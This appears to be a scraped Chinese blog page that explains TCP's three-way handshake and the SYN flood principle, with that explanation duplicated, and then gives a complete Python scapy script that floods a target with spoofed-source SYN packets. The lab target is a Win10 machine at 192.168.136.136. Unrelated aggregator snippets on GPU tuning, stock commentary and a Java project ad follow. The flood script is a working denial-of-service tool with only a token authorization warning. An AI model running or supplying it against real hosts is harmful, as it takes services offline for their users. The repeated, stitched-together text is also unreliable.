news 2026/7/17 4:26:49

python实现synflood攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
python实现synflood攻击

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

使用python编写代码攻击:syn.py

#!/usr/bin/env python3 """ 绕过连接拒绝 """ import socket import random import struct import time import sys from scapy.all import IP, TCP, send def send_syn_flood(target_ip, target_port, duration=60): """发送SYN洪水攻击""" print(f"[*] 对 {target_ip}:{target_port} 发动SYN洪水攻击") print("[*] 按 Ctrl+C 停止") count = 0 start_time = time.time() try: while time.time() - start_time < duration: # 随机源IP和端口 src_ip = f"{random.randint(1,254)}.{random.randint(1,254)}." \ f"{random.randint(1,254)}.{random.randint(1,254)}" src_port = random.randint(1024, 65535) # 创建SYN包 ip_layer = IP(src=src_ip, dst=target_ip) tcp_layer = TCP(sport=src_port, dport=target_port, flags="S", seq=random.randint(0, 4294967295)) # 发送(无连接建立) send(ip_layer/tcp_layer, verbose=0) count += 1 # 显示进度 if count % 100 == 0: elapsed = time.time() - start_time print(f"[*] 已发送 {count} 个SYN包,速率: {count/elapsed:.1f} 包/秒") # 避免太快导致本地网络问题 time.sleep(0.001) except KeyboardInterrupt: print(f"\n[!] 用户停止攻击") elapsed = time.time() - start_time print(f"\n[+] 攻击统计:") print(f" 总数据包: {count}") print(f" 持续时间: {elapsed:.1f}秒") print(f" 平均速率: {count/elapsed:.1f}包/秒") return count > 0 if __name__ == "__main__": if len(sys.argv) < 3: print("用法: python syn_only.py <目标IP> <目标端口> [持续时间秒数]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60 # 验证IP try: socket.inet_aton(target_ip) except: print(f"错误: 无效的IP地址: {target_ip}") sys.exit(1) # 检查scapy是否可用 try: from scapy.all import IP, TCP, send except ImportError: print("错误: 需要安装scapy库 (pip install scapy)") sys.exit(1) print("[*] 警告: 仅用于授权的安全测试!") result = send_syn_flood(target_ip, target_port, duration) if result: print("[+] 攻击可能已生效 - 目标可能已崩溃或防火墙已介入") else: print("[!] 攻击失败")

环境准备:kali和win10

攻击对象:win10,ip:192.168.136.136

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 21:56:02

GPU资源暴涨?Open-AutoGLM部署后性能调优的4个秘密手段

第一章&#xff1a;Open-AutoGLM部署完成后的性能挑战部署Open-AutoGLM模型后&#xff0c;尽管系统已具备基础推理能力&#xff0c;但实际运行中常面临响应延迟高、资源占用大和吞吐量不足等问题。这些问题直接影响用户体验与服务稳定性&#xff0c;需从计算优化、内存管理和并…

作者头像 李华
网站建设 2026/7/10 21:55:33

市场快评 · 今日复盘要点20251225

Q1&#xff1a;今日是否适合低吸&#xff1f; A&#xff1a;今日上涨个股3773家&#xff0c;远大于2500家阈值&#xff0c; 持有龙头即可。Q2&#xff1a;昨日最高标今日表现如何&#xff1f; A&#xff1a;昨日最高标 胜通能源 今日继续涨停。3&#xff1a;今日主线题材及板块…

作者头像 李华
网站建设 2026/7/14 22:00:29

Java毕设项目推荐-基于springboot的学生军训管理系统人员管理 - 考勤追踪 - 成绩管理 - 数据统计【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/7/14 21:56:57

智普Open-AutoGLM开源了!为何它能成为国产AutoML赛道的黑马?

第一章&#xff1a;智普Open-AutoGLM开源了&#xff01;为何它能成为国产AutoML赛道的黑马&#xff1f; 智普AI推出的Open-AutoGLM正式开源&#xff0c;迅速在国产自动化机器学习&#xff08;AutoML&#xff09;领域引发关注。该框架融合大语言模型&#xff08;LLM&#xff09;…

作者头像 李华
网站建设 2026/7/13 21:05:41

本科/硕士论文降AI率,选对工具真的少走弯路!

一、现在的真实情况&#xff1a;查重过了&#xff0c;论文却被卡 AI 率 这两年&#xff0c;很多同学都会遇到一个很反直觉的情况&#xff1a; 重复率 5%–10%&#xff0c;老师点头 AI 率 40%–70%&#xff0c;直接打回 问题不在你“是不是抄袭”&#xff0c;而在于—— 现在…

作者头像 李华